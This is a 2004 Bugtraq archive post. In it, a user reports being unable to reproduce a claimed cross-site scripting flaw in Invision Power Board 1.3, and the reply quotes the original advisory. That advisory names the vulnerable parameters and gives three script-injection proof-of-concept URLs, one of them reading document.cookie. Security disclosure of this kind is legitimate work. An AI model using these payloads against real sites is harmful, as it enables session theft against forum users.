bugtraq - Re: Invision Power Board v1.3 Final Cross Site Scripting Vulnerabillity

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20040305202243.13489.qmail@www.securityfocus.com>
Date: 5 Mar 2004 20:22:43 -0000
From: JeiAr <security@...ftech.org>
To: bugtraq@...urityfocus.com
Subject: Re: Invision Power Board v1.3 Final Cross Site Scripting
    Vulnerabillity


In-Reply-To: <001301c402d9$f70623b0$0b3016ac@...ku>

I tested this on my fully patched 1.3 install of IPB with no results. I have seen in the past where people have reported XSS and the like and used http://demo.invisionboard.com as an example. The XSS DOES work there, but did not work on my 1.3 final version. Maybe it has to do with the skin being used, or more likely has different features. Isn't the http://demo.invisionboard.com forums 2.X and not 1.3 etc?


>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
>Software:        Invision Power Board
>Vendor:           http://www.invisionboard.com/
>Versions:        (U) v1.3 Final
>Bug:                 Cross Site Scripting Vulnerabillity
>Risk:                Medium
>Exploitation:    Remote with browser
>Date:               29 Feb 2004
>Author:             Rafel Ivgi, The-Insider
>E-Mail:             the_insider@...l.com
>Web:                http://theinsider.deep-ice.com
>
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
>1) Introduction
>2) Bug
>3) The Code
>
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
>===============
>1) Introduction
>===============
>
>Invision Power Board is available under a yearly and lifetime purchase
>option for both personal and commercial use, no catches, no "spyware",
>no hidden costs anywhere.
>
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
>======
>2) Bug
>======
>
>The Vulnerabillity is Cross Site Scripting.
>The vulnerable form fields are "c","f","showtopic","showuser","username".
> If an attacker will request the following url from the server:
>
>http://<host>/?c='>&lt;script&gt;alert(window.document.url)&lt;/script&gt;<plaintext>
>Or
>http://<host>/?showtopic='>&lt;script&gt;alert(window.document.url)&lt;/script&gt;<plain
>text>
>Or
>http://<host>/?act=SR&f='>&lt;script&gt;alert(document.cookie)&lt;/script&gt;